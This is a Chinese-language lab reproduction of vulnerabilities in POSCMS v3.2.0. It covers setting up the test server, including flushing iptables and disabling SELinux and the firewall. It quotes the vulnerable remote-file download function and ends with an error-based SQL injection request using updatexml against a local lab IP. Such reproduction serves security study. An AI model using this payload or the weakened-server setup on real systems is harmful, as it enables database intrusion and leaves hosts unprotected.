POSCMS v3.2.0漏洞复现

OS: CentOS7 amd64 (IP:10.10.10.129)
PHP: 5.5.38
MySQL: 5.5.60
WebServer: Apache2.4.6

yum list installed | grep php
    yum remove php*.x86_64
## 添加新的RPM仓库
    rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm
    rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
    yum install php55w.x86_64 php55w-cli.x86_64 php55w-common.x86_64 php55w-gd.x86_64 php55w-ldap.x86_64 php55w-mbstring.x86_64 php55w-mcrypt.x86_64 php55w-mysql.x86_64 php55w-pdo.x86_64

## 清空iptables
    sudo iptables -F
## 查看Selinux状态
    sudo sestatus
## 临时关闭Selinux
    sudo setenforce 0
## 停掉firewall服务
    sudo service firewalld stop

// 文件下载并上传
public function down_file() {

    /***********************************************************
    * Part0. 获取POST参数url中的内容并解析
    ************************************************************/
    $p = array();
    $url = explode('&', $this->input->post('url'));

    foreach ($url as $t) {
    $item = explode('=', $t);
    $p[$item[0]] = $item[1];
    }

    /***********************************************************
    * Part1. 验证用户权限
    ************************************************************/
    !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));

    // 会员组权限
    $member_rule = $this->get_cache('member', 'setting', 'permission', $this->member['mark']);

    // 是否允许上传附件
    !$this->member['adminid'] && !$member_rule['is_upload'] && exit(dr_json(0, fc_lang('您的会员组无权上传附件')));

    // 附件总大小判断
    if (!$this->member['adminid'] && $member_rule['attachsize']) {
    $data = $this->db->select_sum('filesize')->where('uid', $this->uid)->get('attachment')->row_array();
    $filesize = (int)$data['filesize'];
    $filesize > $member_rule['attachsize'] * 1024 * 1024 && exit(dr_json(0, fc_lang('附件空间不足！您的附件总空间%s，现有附件%s。', $member_rule['attachsize'].'MB', dr_format_file_size($filesize))));
    }

    /***********************************************************
    * Part2. 解密code参数的值获得扩展、路径等信息
    ************************************************************/    
    list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));

    /***********************************************************
    * Part3. 生成存放路径
    ************************************************************/    
    $path = $path ? SYS_UPLOAD_PATH.'/'.$path.'/' : SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
    !is_dir($path) && dr_mkdirs($path);

    $furl = $this->input->post('file');

    /***********************************************************
    * Part4. 访问并获取文件  
    ************************************************************/
    $file = dr_catcher_data($furl);
    !$file && exit(dr_json(0, '获取远程文件失败'));

    /***********************************************************
    * Part5. 根据扩展名过滤并存储数据  
    ************************************************************/
    $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
    $exts = (array)explode(',', $ext);
    !in_array($fileext, $exts) && exit(dr_json(0, '远程文件扩展名（'.$fileext.'）不允许'));
    $fileext == 'php' && exit(dr_json(0, '远程文件扩展名（'.$fileext.'）不允许'));

    $filename = substr(md5(time()), 0, 7).rand(100, 999);       //文件名

    /***********************************************************
    * Part6. 向路径写入数据并返回响应结果  
    ************************************************************/
    if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
        $info = array(
            'file_ext' => '.'.$fileext,
            'full_path' => $path.$filename.'.'.$fileext,
            'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
            'client_name' => '',
        );
        $this->load->model('attachment_model');
        $this->attachment_model->siteid = $p['siteid'] ? $p['siteid'] : SITE_ID;
        $result = $this->attachment_model->upload($this->uid, $info);
        if (is_array($result)) {
            list($id) = $result;
            echo json_encode(array('status'=>1, 'id'=>$id, 'name' => dr_strcut($filename, 10).'.'.$fileext));exit;
        } else {
            @unlink($info['full_path']);
            exit(dr_json(0, $result));
        }
    } else {
        exit(dr_json(0, '文件移动失败，目录无权限（'.$path.'）'));
    }
}

GET /index.php?s=member&c=account&m=attachment&module=photo&ext= HTTP/1.1
Host: 10.10.10.129

GET /index.php?s=member&c=account&m=attachment&module=photo%22%20or%20updatexml(1,concat(1,0x7e,user()),1);%23&ext= HTTP/1.1
Host: 10.10.10.129